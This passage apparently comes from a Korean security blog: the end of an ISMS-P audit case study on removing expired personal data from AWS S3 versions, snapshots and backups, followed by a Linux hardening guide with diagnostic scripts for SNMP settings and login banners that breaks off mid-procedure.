핵심은 예외 승인 과정에서 보유기간 경과 개인정보를 계속 보관해야 할 법적·업무상 근거가 있었는지, 그리고 그렇지 않았다면 파기 대상에서 제외할 수 있는 정당한 근거가 있었는지를 확인하는 것이다.

7. ISMS-P 3.4.1 개인정보 파기

ISMS-P 3.4.1은 개인정보의 보유기간 및 파기 관련 내부 정책을 수립하고, 보유기간 경과 또는 처리목적 달성 등 파기 시점이 도달한 경우 파기의 안전성 및 완전성이 보장될 수 있는 방법으로 지체 없이 파기하도록 요구한다.

따라서 이번 사례에서 가장 먼저 확인해야 할 사항은 다음과 같다.

개인정보 보유기간 확인
        ↓
파기 시점 도달 여부 확인
        ↓
파기 대상 식별
        ↓
모든 저장 위치 확인
        ↓
파기 수행
        ↓
파기 결과 확인
        ↓
파기 기록 관리

특히 클라우드 환경에서는 "운영 데이터에서 삭제했는가?"에서 끝나면 안 된다.

백업·스냅샷·복제본 등 조직이 계속 관리하고 있는 다른 저장본에 동일 개인정보가 존재하는지도 확인해야 한다.

8. 이번 사례의 핵심 결함

[결함 1] 보유기간 경과 개인정보가 백업·스냅샷 영역에 남아 있는 상태에서 파기 완료로 처리

구분	내용
관련 기준	ISMS-P 3.4.1 개인정보 파기
대상	고객 지원 티켓 첨부파일 및 진단 로그
확인내용	보유기간 경과 개인정보가 레거시 스토리지 스냅샷에 포함된 상태로 클라우드 백업 영역에 보관
주요 문제	파기 대상 개인정보와 계속 보존해야 할 데이터가 분리되지 않음
추가 확인사항	백업·스냅샷의 보존 필요성 및 법적 근거 확인 필요
위험	파기 대상 개인정보가 운영 종료 후에도 관리 저장소에 계속 존재할 가능성

운영현황

A사는 온프레미스 스토리지에 저장되어 있던 고객 지원 티켓 첨부파일을 AWS 환경으로 이전하였다.

이 과정에서 보유기간이 경과한 개인정보가 포함된 레거시 스토리지 볼륨을 스냅샷으로 생성하여 클라우드 백업 영역에 보관하였다.

결함내역

보유기간이 경과하여 파기 대상이 된 개인정보가 포함된 저장본에 대해 별도의 파기 대상 식별 및 파기 결과 검증을 수행하지 않고 백업 영역에 계속 보관하고 있었다.

접근권한을 제한하는 조치는 적용되어 있었으나, 이는 해당 개인정보를 계속 보존해야 하는 근거가 없는 경우 파기 자체를 대신하는 조치로 보기 어렵다.

근거목록

클라우드 이관 로그
스냅샷 및 백업 저장 현황
개인정보 파기 정책
보유기간 관리 기준
담당자 인터뷰
예외 승인 문서
파기 대상 식별 결과

9. 중요한 판단 포인트 — 백업에 남아 있다고 무조건 결함인가?

여기서는 한 가지를 주의해야 한다.

"운영 데이터에서 삭제했는데 백업에 남아 있으므로 무조건 ISMS-P 3.4.1 결함이다"라고 단순화하면 안 된다.

먼저 다음 사항을 확인해야 한다.

① 실제로 파기 시점이 도래했는가

해당 개인정보가 정말 보유기간 경과 또는 처리목적 달성으로 파기 대상인지 확인해야 한다.

② 다른 법령에 따른 보존 필요성이 있는가

관련 법령 등에 따라 일정 기간 보존해야 하는 개인정보라면 파기 대상이 아닐 수 있다.

이 경우에는 필요한 최소한의 항목으로 제한하고 다른 개인정보와 분리하여 저장·관리하는 방식이 필요하다. ISMS-P 3.4.2가 이 부분을 별도로 다룬다.

③ 백업본의 보존정책이 별도로 존재하는가

백업 데이터가 일정 기간 보존되도록 정책화되어 있고, 그 보존에 필요한 근거와 통제가 존재하는지 확인해야 한다.

④ 백업본이 파기대상 개인정보를 계속 포함하고 있는가

단순히 "스냅샷이 존재한다"는 사실만으로는 부족하다.

실제로 파기 대상 개인정보가 해당 백업본에 포함되어 있는지를 확인해야 한다.

10. 백업과 파기를 함께 관리해야 하는 이유

개인정보 생명주기를 단순하게 보면 다음과 같다.

수집
 ↓
이용
 ↓
보관
 ↓
보유기간 경과
 ↓
파기

하지만 실제 클라우드 환경에서는 다음처럼 복잡해진다.

                    ┌─ S3 운영 버킷
                    │
개인정보 ───────────┼─ S3 백업 버킷
                    │
                    ├─ S3 Version
                    │
                    ├─ 다른 Region 복제본
                    │
                    ├─ EBS Snapshot
                    │
                    ├─ AWS Backup
                    │
                    └─ 온프레미스 백업

따라서 파기 프로세스를 설계할 때는 개인정보가 실제로 존재하는 저장 위치를 데이터 흐름과 함께 관리해야 한다.

11. AWS S3에서는 '삭제'와 '영구 삭제'를 구분해야 한다

S3에서는 버전 관리 여부를 반드시 확인해야 한다.

버전 관리가 활성화된 버킷에서 일반적인 DeleteObject 요청을 수행하면 객체 자체가 즉시 영구 삭제되는 것이 아니라 삭제 마커가 추가될 수 있다.

기존 객체 버전은 그대로 남아 있을 수 있다. 특정 객체 버전을 영구적으로 삭제하려면 해당 versionId를 지정해야 한다.

따라서 다음과 같은 점검이 필요하다.

S3 Object
   │
   ├─ Current Version
   │
   ├─ Noncurrent Version
   │
   └─ Delete Marker

파기 검증 과정에서는 단순히 다음 명령의 성공 여부만 확인해서는 부족할 수 있다.

aws s3api delete-object \
  --bucket a-company-cloud-archive-bucket \
  --key expired_data/customer_001.log

버전 관리가 활성화되어 있다면 실제 삭제 대상 버전과 비현재 버전까지 확인해야 한다.

AWS는 버전 관리가 활성화된 S3에서 비현재 버전을 Lifecycle 정책으로 영구 삭제하거나 특정 versionId를 지정하여 삭제하는 방법을 제공한다.

12. Lifecycle 정책도 보유기간 관리와 연결해야 한다

대량의 개인정보를 자동 파기해야 하는 환경에서는 S3 Lifecycle을 활용할 수 있다.

그러나 다음과 같은 단순 정책은 주의해야 한다.

LastModified + 730일
        ↓
무조건 삭제

개인정보의 보유기간은 단순히 파일의 마지막 수정일과 항상 일치하는 것은 아니기 때문이다.

보다 적절한 구조는 다음과 같다.

개인정보 보유기간
       ↓
개별 데이터의 파기 예정일 산정
       ↓
파기 대상 식별
       ↓
S3 Object / Version 확인
       ↓
Lifecycle 또는 자동화 정책 적용
       ↓
파기 결과 검증

즉, AWS의 기술적 삭제 시점과 개인정보의 법적·업무적 보유기간을 연결하는 관리체계가 필요하다.

13. 스냅샷은 어떻게 관리해야 하는가

이번 사례에서 특히 주의할 부분이다.

원문에서는 다음과 같이 표현되어 있다.

"레거시 스냅샷 볼륨에 대해 zero-fill을 수행하고 삭제한다."

AWS 클라우드 환경에서는 이 표현을 그대로 사용하는 것보다 스냅샷의 보존 필요성을 판단하고 해당 복구 지점을 삭제하거나 보존정책에 따라 만료시키는 방식으로 표현하는 것이 정확하다.

EBS 스냅샷은 AWS가 관리하는 저장 구조이므로 일반적인 온프레미스 디스크에서 사용하는 shred, dd if=/dev/zero 등의 방식으로 스냅샷 자체를 "제로필"하는 방식으로 설명하면 안 된다.

또한 EBS 스냅샷을 삭제하더라도 해당 볼륨 자체에는 영향을 주지 않으며, AWS Backup에서 관리되는 복구 지점은 EC2에서 직접 삭제하는 방식이 아니라 AWS Backup 측의 관리 절차를 따라야 한다.

따라서 심사에서는 다음을 확인하는 것이 적절하다.

스냅샷 생성 여부
스냅샷 보존기간
개인정보 포함 여부
스냅샷의 업무상 보존 필요성
AWS Backup 관리 여부
스냅샷 삭제 또는 만료정책
백업 복구 지점의 보존정책
파기 대상 개인정보가 남아 있는지에 대한 확인 방법

14. 기술적 조치

이번 사례의 조치는 다음 순서로 진행하는 것이 현실적이다.

14.1 파기 대상 개인정보 재식별

먼저 보유기간 관리 기준을 기준으로 파기 대상 데이터를 다시 식별한다.

[개인정보 보유 목록]
        ↓
보유기간 확인
        ↓
파기 예정일 확인
        ↓
파기 대상 확정

14.2 저장 위치 추적

확정된 파기 대상 데이터가 어디에 존재하는지 확인한다.

Customer Ticket ID
        │
        ├─ S3 Object
        ├─ S3 Version
        ├─ Backup Bucket
        ├─ Cross-Region Replica
        ├─ Snapshot
        └─ On-Prem Backup

14.3 운영 데이터 파기

파기 대상 객체를 삭제한다.

버전 관리가 적용된 경우에는 객체의 현재 버전뿐 아니라 보존 중인 비현재 버전도 정책에 따라 처리해야 한다.

14.4 백업 및 스냅샷 처리

파기 대상 개인정보가 포함된 백업본의 보존 필요성을 확인한다.

보존 근거가 없는 경우 해당 백업본의 보존정책에 따라 삭제 또는 만료 처리한다.

반대로 법령이나 정당한 업무상 근거에 따라 보존해야 한다면 3.4.2 관점에서 최소한의 정보만 분리하여 관리하는 구조를 검토한다.

15. 파기 자동화 예시

S3에서는 단순히 "2년 지난 파일을 삭제한다"는 방식보다 파기 예정일을 명시적으로 관리하는 구조가 더 적합하다.

예를 들어 객체에 다음과 같은 메타데이터 또는 관리정보를 연결할 수 있다.

Object Key
customer_001/support/2023-001.log

DataClass
PERSONAL_INFORMATION

RetentionEndDate
2025-10-31

DeletionStatus
PENDING

그리고 자동화 프로세스를 다음과 같이 구성할 수 있다.

[파기 대상 식별]
       ↓
[RetentionEndDate 확인]
       ↓
[법적 보존 예외 확인]
       ↓
[삭제 대상 확정]
       ↓
[S3 Object 삭제]
       ↓
[Version 확인]
       ↓
[Backup / Snapshot 확인]
       ↓
[파기 결과 기록]
       ↓
[담당자 검증]

16. 파기 검증 로그 예시

기존의 overwrite_pass_count와 같은 저장매체 저수준 지표보다는 실제 개인정보 파기 범위를 확인할 수 있는 로그가 더 유용하다.

{
  "deletion_batch_id": "DEL-2026-0017",
  "execution_timestamp": "2026-09-30T02:30:00Z",
  "data_subject_scope": "support_ticket",
  "target_count": 142050,
  "s3_objects_processed": 142050,
  "versioned_objects_checked": true,
  "backup_repository_checked": true,
  "snapshot_repository_checked": true,
  "retention_exception_count": 0,
  "deletion_result": "COMPLETED",
  "verification_status": "VERIFIED"
}

이와 같은 로그에서는 다음 사실을 확인할 수 있다.

몇 건을 파기 대상으로 선정했는가
실제 몇 건을 처리했는가
S3 버전을 확인했는가
백업 저장소를 확인했는가
스냅샷을 확인했는가
보존 예외가 존재했는가
파기 결과를 검증했는가

17. 원인 분석

이번 사례의 원인은 단순히 "삭제 명령을 잘못 실행했다"는 것으로 끝나지 않는다.

구분	원인
직접 원인	보유기간 경과 개인정보가 포함된 레거시 스냅샷을 백업 영역에 보관
운영 원인	마이그레이션 과정에서 개인정보 파기와 데이터 이관 절차를 별도로 관리
기술적 원인	백업·스냅샷·버전 등 저장본을 포함한 파기 범위 식별이 부족
관리적 원인	이관 예외 승인 시 개인정보 보유기간과 파기 필요성을 충분히 검토하지 않음
검증 원인	운영 데이터 삭제 여부만 확인하고 백업 저장본까지 파기 여부를 검증하지 않음
재발 가능성	향후 클라우드 마이그레이션에서도 동일한 개인정보 잔존 가능성 존재

18. CISO의 예외 승인이 있으면 문제가 없는가?

그렇지 않다.

예외 승인 문서는 조직이 해당 상황을 인지하고 의사결정을 했다는 증적이 될 수 있다.

하지만 예외 승인이 있다는 사실만으로 개인정보의 법적 보유기간이나 파기 필요성이 사라지는 것은 아니다.

따라서 심사에서는 다음과 같이 질문할 필요가 있다.

왜 보존했는가?
      ↓
보존할 법적 또는 업무상 근거가 있는가?
      ↓
필요한 최소 정보만 보존했는가?
      ↓
다른 개인정보와 분리했는가?
      ↓
보존 종료시점이 관리되고 있는가?

보존 근거가 없다면 "CISO가 승인했다"는 사실보다 왜 파기 대상 개인정보를 계속 보관했는지가 핵심적인 검토사항이 된다.

19. 재발 방지 방안

19.1 마이그레이션 체크리스트에 개인정보 파기 항목 추가

시스템 이전 시 다음 항목을 필수 확인하도록 한다.

[ ] 개인정보 보유기간 확인
[ ] 파기 대상 데이터 식별
[ ] 법령상 보존 예외 확인
[ ] 운영 데이터 파기
[ ] 백업 데이터 확인
[ ] 스냅샷 확인
[ ] 복제본 확인
[ ] S3 Version 확인
[ ] 파기 결과 검증
[ ] 파기 증적 보관

19.2 백업 시스템과 개인정보 관리체계 연계

개인정보 파기 시스템과 백업 시스템을 별도로 운영하면 다음과 같은 문제가 발생할 수 있다.

개인정보 관리 시스템
       │
       └── "파기 완료"

              ≠

백업 시스템
       │
       └── "개인정보 보관 중"

따라서 개인정보의 파기 대상이 확정되면 백업·복제 영역의 보존정책도 함께 확인할 수 있도록 연계하는 것이 필요하다.

20. 현장 심사에서 확인할 질문

개인정보 보유기간

해당 데이터의 보유기간은 어떻게 결정했는가?
보유기간 경과 여부를 어떤 시스템에서 판단하는가?
법령상 별도 보존 대상은 어떻게 구분하는가?

운영 데이터

파기 대상 개인정보를 어떻게 식별하는가?
실제 삭제 결과를 어떻게 검증하는가?
자동 파기 작업의 실패 여부를 어떻게 확인하는가?

백업

백업본에도 개인정보가 존재하는가?
백업본의 보존기간은 어떻게 결정하는가?
백업 데이터에도 개인정보 파기 정책이 적용되는가?

클라우드

S3 Versioning이 활성화되어 있는가?
비현재 버전에 개인정보가 남아 있지 않은가?
다른 리전에 복제본이 존재하는가?
AWS Backup 또는 별도 백업 서비스가 존재하는가?
스냅샷에 파기 대상 개인정보가 포함되어 있지 않은가?

검증

파기 결과를 누가 확인하는가?
파기 결과를 어떤 형태로 기록하는가?
최근 개인정보 파기 테스트 또는 검증 결과가 있는가?

21. 자주 발생하는 잘못된 판단

잘못된 판단 1

"운영 시스템에서 삭제했으므로 개인정보 파기가 완료되었다."

올바른 접근

운영 시스템뿐만 아니라 조직이 관리하는 백업·복제·스냅샷 등 관련 저장본의 보존 필요성과 파기 여부를 함께 확인해야 한다.

잘못된 판단 2

"백업 데이터는 장애복구를 위해 필요한 것이므로 무조건 보관할 수 있다."

올바른 접근

백업이라는 목적만으로 파기 대상 개인정보의 보존 필요성이 자동으로 인정되는 것은 아니다.

백업 보존정책과 개인정보의 보유기간 및 법적 보존근거를 함께 검토해야 한다.

잘못된 판단 3

"S3 DeleteObject가 성공했으므로 완전히 삭제되었다."

올바른 접근

S3 Versioning이 활성화된 경우 일반적인 DeleteObject는 삭제 마커를 생성할 수 있다.

따라서 객체 버전과 비현재 버전의 존재 여부를 함께 확인해야 한다.

잘못된 판단 4

"스냅샷을 삭제하기 전에 zero-fill을 수행해야 한다."

올바른 접근

클라우드 관리형 스냅샷을 온프레미스 디스크와 동일한 방식으로 취급해서는 안 된다.

스냅샷의 보존 필요성, 보존기간, 관리 서비스, 삭제 또는 만료 정책을 확인하는 방식으로 파기 통제를 설계해야 한다.

잘못된 판단 5

"CISO가 예외를 승인했으므로 파기하지 않아도 된다."

올바른 접근

예외 승인은 관리적 의사결정의 증적일 수 있지만, 개인정보의 보유 및 파기 여부는 별도의 법적·업무적 근거와 함께 검토해야 한다.

22. 실무 점검 체크리스트

개인정보 생명주기

개인정보별 보유기간이 정의되어 있는가
파기 예정일을 식별할 수 있는가
파기 대상과 보존 대상을 구분하는가
법령상 보존 예외를 관리하는가

운영 저장소

파기 대상 개인정보를 식별했는가
파기 작업이 정상적으로 수행되는가
파기 결과를 검증하는가
파기 기록을 보관하는가

백업 및 복제

백업 저장소를 식별하고 있는가
백업 보존기간을 관리하는가
복제본 존재 여부를 확인하는가
다른 리전의 저장본을 확인하는가
백업에도 개인정보 파기 정책이 적용되는가

S3

Versioning 상태를 확인하는가
Noncurrent Version을 관리하는가
Delete Marker를 관리하는가
Lifecycle 정책을 확인하는가
Object Lock 적용 여부를 확인하는가
파기 대상 객체의 실제 삭제 결과를 검증하는가

Snapshot / Backup

EBS Snapshot 존재 여부를 확인하는가
AWS Backup 복구 지점을 확인하는가
Snapshot 보존기간을 관리하는가
백업 삭제 권한과 절차를 관리하는가
복구 테스트 후 불필요한 테스트 데이터가 남지 않는가

마이그레이션

이관 전 개인정보 파기 대상 식별
이관 후 저장 위치 확인
레거시 데이터 삭제
레거시 백업 확인
클라우드 백업 확인
스냅샷 확인
복제본 확인
파기 결과 최종 검증

23. 이번 사례의 핵심 포인트

이번 사례에서 가장 중요한 부분은 다음과 같다.

개인정보 파기는 운영 데이터에서 파일을 삭제하는 작업으로 끝나는 것이 아니다.

클라우드 환경에서는 하나의 개인정보가 여러 저장소에 복제될 수 있다.

따라서 개인정보 파기 프로세스는 다음과 같이 확장되어야 한다.

[파기 대상 식별]
       ↓
[보유기간 / 법적 보존근거 확인]
       ↓
[운영 데이터 확인]
       ↓
[백업 데이터 확인]
       ↓
[복제본 확인]
       ↓
[스냅샷 확인]
       ↓
[S3 Version 확인]
       ↓
[파기 또는 적정한 보존관리]
       ↓
[파기 결과 검증]
       ↓
[증적 보관]

24. 마무리

클라우드 전환은 단순히 서버와 데이터를 새로운 환경으로 이동시키는 작업이 아니다.

기존 시스템에서 사용하던 개인정보의 보유기간, 파기정책, 백업정책, 복제정책, 스냅샷 정책까지 함께 검토해야 하는 데이터 생명주기 변경 작업이기도 하다.

특히 마이그레이션 과정에서는 다음과 같은 문제가 쉽게 발생한다.

"운영 데이터는 삭제했지만 백업에는 남아 있다."

또는

"레거시 시스템은 폐기했지만 스냅샷은 그대로 남아 있다."

이러한 상황에서 단순히 저장소 접근권한을 제한했다고 해서 개인정보 파기 문제를 해결했다고 판단해서는 안 된다.

먼저 해당 개인정보가 실제로 파기 대상인지 확인하고, 법령 등에 따라 보존해야 하는 정보라면 3.4.2에 따라 필요한 최소한의 항목으로 제한하고 다른 개인정보와 분리하여 관리해야 한다. 반대로 보존 근거가 없는 파기 대상이라면 관련 저장본까지 포함하여 파기 범위를 확인해야 한다.

AWS 환경에서는 특히 S3 Versioning, Noncurrent Version, Backup, Snapshot, Cross-Region Replica 등을 함께 확인해야 한다.

S3의 경우 단순 DeleteObject가 버전 관리 환경에서는 삭제 마커만 생성할 수 있으므로, 실제 객체 버전이 남아 있는지를 확인해야 한다.

결국 클라우드 환경에서 개인정보 파기의 핵심은 다음 한 문장으로 정리할 수 있다.

"삭제 명령을 실행했는가"가 아니라 "파기 대상 개인정보가 더 이상 불필요하게 관리되는 저장본에 남아 있지 않은지를 확인했는가"가 중요하다.

참고자료

ISMS-P 인증기준 3.4.1 개인정보 파기
ISMS-P 인증기준 3.4.2 처리목적 달성 후 보유 시 조치
개인정보 보호법 및 관련 하위 규정
AWS Amazon S3 — Deleting objects
AWS Amazon S3 — Deleting object versions
AWS Amazon S3 — Versioning
AWS Amazon EBS — Delete an EBS snapshot

[리눅스 보안 점검] 서비스 관리 보안 분야 (U-59 ~ U-63) 종합 진단 및 실무 조치 가이드

보안실무자J — Mon, 21 Sep 2026 10:04:58 +0900

SNMP 및 접속 정책 관리 그룹(U-59 ~ U-63)의 보안 진단과 안전한 설정 절차를 안내해 드립니다. 본 가이드에서는 SNMP v3 암호화 전환, 커뮤니티 스트링 복잡도, IP 접근 통제, 로그인 배너 및 sudo 권한 오남용 방지를 위한 자동 진단 스크립트 해설과 함께 안전한 조치 및 백업 방법을 상세히 설명합니다.

1. SNMP 및 접속 정책 관리 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-59	안전한 SNMP 버전 사용	/etc/snmp/snmpd.conf	SNMP 서비스를 미사용하거나, 암호화를 지원하는 SNMPv3를 사용하는 경우	상
U-60	SNMP Community String 복잡성 설정	/etc/snmp/snmpd.conf	Community String이 public, private 등 기본값이 아니며 복잡성을 만족하는 경우	중
U-61	SNMP Access Control 설정	/etc/snmp/snmpd.conf	SNMP 서비스에 특정 IP 또는 네트워크 대역만 접근 가능하도록 ACL이 설정된 경우	중
U-62	로그인 시 경고 메시지 설정	/etc/motd, /etc/issue, /etc/issue.net	서버 접속 전/후 화면에 법적 책임 고지 및 경고 문구가 정상적으로 등록된 경우	하
U-63	sudo 명령어 접근 관리	/etc/sudoers, /etc/sudoers.d/*	특정 사용자에게 패스워드 없이 모든 권한을 부여하는(NOPASSWD: ALL) 설정이 없는 경우	상

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-59] 안전한 SNMP 버전 사용

① 점검 목적 및 개요

SNMP v1 및 v2c 버전은 커뮤니티 스트링(Community String)과 전송 데이터를 평문(Plaintext)으로 주고받습니다. 네트워크 스니핑을 통해 관리자 문자열이 노출되면 인프라 구성 정보가 유출될 수 있으므로, 인증과 암호화를 지원하는 SNMPv3 사용을 권장합니다.

② 자동 진단 스크립트 분석

# U-59 점검 시작
CODE "[ U-59 ] 안전한 SNMP 버전 사용"

# SNMP 서비스가 구동 중인지 변수 확인
if [[ "$SNMP_RUNNING" == "TRUE" ]]; then
    # SNMP 설정 파일 존재 여부 검사
    if [ -f /etc/snmp/snmpd.conf ]; then
        # v1, v2c에서 사용되는 rocommunity, rwcommunity 주석 제외 지시어 검색
        if grep -E -i "^[[:space:]]*r[ow]community" /etc/snmp/snmpd.conf >/dev/null; then
            # 취약한 버전(v1/v2c) 지시어가 발견되면 취약 판정
            WARN "취약한 SNMP 버전(v1, v2c) 설정 지시어(rocommunity 등)가 확인되었습니다." "snmpd.conf 내에 평문 전송 버전 사용"
        else
            # v3 전용 설정(rouser, rwuser)만 존재할 경우 양호 판정
            OK "취약한 SNMP 버전(v1, v2c) 설정이 발견되지 않았습니다. (SNMPv3 권장)" "snmpd.conf 내에 취약 지시어 없음"
        fi
    else
        INFO "SNMP 서비스는 동작 중이나 설정 파일(/etc/snmp/snmpd.conf)을 찾을 수 없습니다." "설정 파일 경로 상이"
    fi
else
    # SNMP 데몬이 실행 중이지 않으면 N/A 처리
    OK "SNMP 서비스가 구동되지 않으므로 버전 취약점 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
FINISH "[ U-59 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 기존 NMS(네트워크 관리 시스템)가 v2c 기반으로 동작 중일 때 사전 협의 없이 v1/v2c 지시어를 삭제할 경우, 모니터링 관제 시스템 전체에서 해당 서버의 메트릭 수집이 중단되는 장애가 발생합니다.
검증 절차: SNMPv3 계정을 생성한 후, 외부 관제 서버에서 snmpwalk 명령을 통해 v3 암호화 통신이 정상 동작하는지 테스트해야 합니다.
```
snmpwalk -v 3 -u [계정명] -l authPriv -a SHA -A [인증키] -x AES -X [암호화키] [서버IP] system
```
특수 환경Tip: 레거시 NMS 장비의 제약으로 SNMPv3 도입이 불가능한 경우, 물리적으로 분리된 OAM(운영관리) 전용 망을 통해서만 통신하도록 제한하고 하위 항목(U-60, U-61)의 강화를 병행해야 합니다.

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.bak_$(date +%Y%m%d)

SNMPv3 사용자 생성 및 설정 (예시)
/etc/snmp/snmpd.conf 내 기존 rocommunity 구문을 주석 처리(#)하고, SNMPv3 사용자를 추가합니다.
```
# net-snmp-create-v3-user 명령을 사용하거나 설정 파일에 rouser 구문 추가
rouser secuser authpriv
```

서비스 재시작 및 동작 확인

systemctl restart snmpd
systemctl status snmpd

2.2. [U-60] SNMP Community String 복잡성 설정

① 점검 목적 및 개요

SNMP v1/v2c를 불가피하게 사용해야 할 경우, 기본 설정값인 public 또는 private을 그대로 방치하면 무차별 대입 공격(Brute Force)을 통해 서버 시스템 정보가 유출될 위험이 있습니다.

② 자동 진단 스크립트 분석

# U-60 점검 시작
CODE "[ U-60 ] SNMP Community String 복잡성 설정"

if [[ "$SNMP_RUNNING" == "TRUE" ]]; then
    if [ -f /etc/snmp/snmpd.conf ]; then
        # 주석을 제외한 설정 중 public 또는 private 문자열이 사용되었는지 검색
        if grep -E -i "^[[:space:]]*r[ow]community[[:space:]]+(public|private)" /etc/snmp/snmpd.conf >/dev/null; then
            # 기본 커뮤니티 스트링 발견 시 취약 판정
            WARN "SNMP Community String이 기본값(public/private)으로 설정되어 정보 유출 위험이 높습니다." "snmpd.conf 내 public/private 노출"
        elif grep -E -i "^[[:space:]]*r[ow]community" /etc/snmp/snmpd.conf >/dev/null; then
            # 기본값이 아닌 다른 임의의 문자열이 사용된 경우 양호 판정
            OK "SNMP Community String이 기본값이 아닌 다른 문자열로 변경되어 있습니다." "snmpd.conf 내 복잡성 부여"
        else
            OK "Community String 방식(v1/v2c)을 사용하지 않습니다. (SNMPv3 사용 등)" "취약 지시어 없음"
        fi
    else
        INFO "설정 파일(/etc/snmp/snmpd.conf)을 찾을 수 없습니다." "파일 부재"
    fi
else
    OK "SNMP 서비스가 구동되지 않으므로 Community String 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
FINISH "[ U-60 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 서버 측 snmpd.conf 파일의 Community String만 변경하고, 중앙 NMS 관제 솔루션의 설정값을 동시에 변경하지 않아 관제 알람이 대량 발생하거나 모니터링 누락이 생기는 경우가 자주 발생합니다.
검증 절차: 변경된 커뮤니티 스트링을 적용한 후, 로컬 및 관제 서버에서 snmpget으로 정상 응답을 받는지 검증합니다.
```
snmpget -v 2c -c [신규_커뮤니티_스트링] localhost 1.3.6.1.2.1.1.1.0
```
대안 설정: 영문 대소문자, 숫자, 특수문자를 조합하여 최소 8자 이상의 무작위 문자열로 설정해야 합니다. (예: C0mpL3x_Snmp_2026!)

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.bak_$(date +%Y%m%d)

Community String 변경
/etc/snmp/snmpd.conf 파일을 수정합니다.

# 변경 전: rocommunity public
# 변경 후: rocommunity M3tr!c_S3cur3_Str 192.168.10.0/24

서비스 재시작

systemctl reload snmpd || systemctl restart snmpd

2.3. [U-61] SNMP Access Control 설정

① 점검 목적 및 개요

Community String을 복잡하게 변경하더라도 IP 접근 통제(ACL)가 설정되지 않으면 전 세계 모든 IP에서 접근 시도가 가능해집니다. 허가된 관제 서버(NMS)의 IP 또는 네트워크 대역으로만 SNMP 조회를 제한해야 합니다.

② 자동 진단 스크립트 분석

# U-61 점검 시작
CODE "[ U-61 ] SNMP Access Control 설정"

if [[ "$SNMP_RUNNING" == "TRUE" ]]; then
    if [ -f /etc/snmp/snmpd.conf ]; then
        # rocommunity 지시어 뒤에 IP/서브넷 필드가 누락되었는지 확인 (필드 수가 3개 미만인 구문 추출)
        WEAK_ACL=$(grep -E -i "^[[:space:]]*r[ow]community" /etc/snmp/snmpd.conf | awk '{if (NF < 3) print $0}')
        
        if [ -n "$WEAK_ACL" ]; then
            # ACL이 지정되지 않은 설정이 존재하면 취약 판정
            WARN "SNMP 접근 통제(IP ACL)가 설정되지 않아 모든 IP에서 SNMP 조회가 가능합니다." "IP 대역 제한이 누락된 설정 발견: [ $WEAK_ACL ]"
        elif grep -E -i "^[[:space:]]*r[ow]community" /etc/snmp/snmpd.conf >/dev/null; then
            OK "SNMP 설정에 특정 IP/네트워크로 접근을 제한하는 ACL이 적용되어 있습니다." "snmpd.conf에 IP 제한 설정 확인"
        else
            OK "v1/v2c 방식의 community 설정을 사용하지 않습니다." "해당 없음"
        fi
    else
        INFO "설정 파일(/etc/snmp/snmpd.conf)을 찾을 수 없습니다." "파일 부재"
    fi
else
    OK "SNMP 서비스가 구동되지 않으므로 접근 통제 점검에 해당하지 않습니다 (N/A)." "해당 서비스 미사용"
fi
FINISH "[ U-61 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 서브넷 마스크 단위를 잘못 입력하거나(예: /24를 /32로 지정하여 단일 IP만 허용), 이중화된 NMS 관제 서버의 보조(Secondary) IP를 ACL에 누락시켜 Failover 시 관제가 중단되는 사례가 발생합니다.
검증 절차: 허가된 IP와 비허가된 IP 양쪽에서 패킷 요청을 보내 방화벽 및 snmpd 차단 동작을 확인합니다.
특수 환경Tip: snmpd.conf 내의 ACL 외에도 OS 방화벽(firewalld, iptables) 레벨에서 UDP 161번 포트를 관제 IP 전용으로 2중 차단하는 것이 보안상 매우 안전합니다.

④ 안전한 조치 절차

설정 파일 백업

cp -p /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.bak_$(date +%Y%m%d)

IP 제한 구문 설정
/etc/snmp/snmpd.conf 내에 허용할 IP 대역 지정

# [rocommunity] [커뮤니티스트링] [허용IP 또는 대역]
rocommunity M3tr!c_S3cur3_Str 10.10.10.50/32

서비스 재시작
```
systemctl restart snmpd
```

2.4. [U-62] 로그인 시 경고 메시지 설정

① 점검 목적 및 개요

서버 접속(SSH, Telnet, 콘솔) 시 법적 책임을 고지하는 경고 메시지를 노출함으로써, 비인가자의 무단 접근을 심리적으로 차단하고 침해사고 발생 시 법적 대응의 근거를 마련합니다.

② 자동 진단 스크립트 분석

# U-62 점검 시작
CODE "[ U-62 ] 로그인 시 경고 메시지 설정"

BANNER_FILES="/etc/motd /etc/issue /etc/issue.net"
VULN_BANNERS=""

for f in $BANNER_FILES; do
    # -s 옵션을 사용하여 파일이 존재하지 않거나 내용의 크기가 0(비어있음)인지 점검
    if [ ! -s "$f" ]; then
        VULN_BANNERS="$VULN_BANNERS $f"
    fi
done

if [ -n "$VULN_BANNERS" ]; then
    # 하나라도 비어있는 배너 파일이 존재하면 취약 판정
    WARN "로그인 전/후에 법적 책임을 고지하는 경고 메시지(Banner)가 설정되지 않았습니다." "내용이 비어있거나 누락된 파일: [ $VULN_BANNERS ]"
else
    OK "모든 주요 로그인 배너 파일(/etc/motd, /etc/issue 등)에 경고 메시지가 설정되어 있습니다." "파일 내 내용 확인됨"
fi
FINISH "[ U-62 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 배너 메시지에 OS 버전, 커널 버전, 호스트명 등 내부 시스템 정보(\r, \m, \v 옵션 사용)를 상세히 포함하면 공격자에게 시스템 취약점 탐색 정보를 제공하는 결과를 초래합니다.
검증 절차: /etc/ssh/sshd_config 파일에 Banner /etc/issue.net 항목이 주석 해제되어 활성화되어 있는지 반드시 함께 검증해야 원격 SSH 접속 시 배너가 정상 출력됩니다.
배너 문구 작성 가이드: "인가된 사용자만 접근 가능하며, 모든 작업 내역은 실시간 기록 및 감사됩니다."와 같이 법적 고지 문구 위주로 구성해야 합니다.

④ 안전한 조치 절차

배너 파일 백업 및 생성

cp -p /etc/motd /etc/motd.bak_$(date +%Y%m%d) 2>/dev/null
